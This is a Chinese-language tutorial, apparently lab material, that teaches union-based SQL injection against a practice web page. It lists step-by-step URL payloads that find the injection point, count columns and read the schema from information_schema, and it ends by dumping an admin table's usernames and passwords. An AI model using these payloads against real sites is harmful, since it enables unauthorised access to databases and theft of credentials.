参数类型分类
1. 数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
如 www.text.com/text.php?id=3 对应的sql语句为 select * from table where id=3
2. 字符型:字符型注入正好相反
当输入的参数被当做字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过引号来闭合的。即看参数是否被引号包裹
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
这里以下面网址作为测试网页:
>>以该网页学习联合查询注入
联合查询(union注入)
联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化
1. 注入点判断
开始判断是否存在注入,
输入: ?id=1
页面发生变化,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞
输入: ?id=1' 无反应
由此判断出此网页存在 " 数字型注入漏洞"
2. 判断当前表的字段个数
输入: ?id=1 order by 2,页面正常显示,无异常反应
将2修改为3,页面没有反馈,说明此时当前表中只有2列
3. 判断显示位
以下为union注入中较为常用的一些函数和环境变量
名称 | 功能 |
version() | MySQL 版本 |
user() | 当前数据库用户名 |
database() | 当前数据库名 |
@@version_compile_os | 操作系统版本 |
@@datadir | 数据库路径 |
接下来测试我们的输入会在屏幕哪个地方进行回显。
上面两步,我们判断出来了表中有2列,所以union select的时候就写xx,xx两个数据
需让union select前面的参数查不出来而回显后面的语句,所以id=1 and 1=2
输入: ?id=1 and 1=2 union select 1,2
输入: ?id=1 and 1=2 union select 1,10
如上,在界面中的位置回显了我们的输入,这时我们就可以在回显2的位置放入测试语句。
4. 爆当前数据库名字
输入: ?id=1 and 1=2 union select 1,database()
获取到数据库的名字为:maoshe
5. 爆当前数据库中的表
输入: ?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
(注意所有的要用英文格式 )
显示当前数据库中存在4个表: admin , dirs , news , xss
6. 爆表中的字段
我们这里选择 admin 表 , 进行进一步的获取表中的字段信息
输入: ?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin'
或者 输入: ?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='maoshe' and table_name='admin'
得到一样的结果
获取 admin 表中存在3个字段,分别为: Id , username , password
7. 爆相应字段的所有数据
输入: ?id=1 and 1=2 union select 1,group_concat(Id, ';' ,username, ';' ,password) from admin
得到最终结果数据:
Id | username | password |
1 | admin | hellohac |
2 | ppt领取微信 | zkaqbanban |
------------over-----------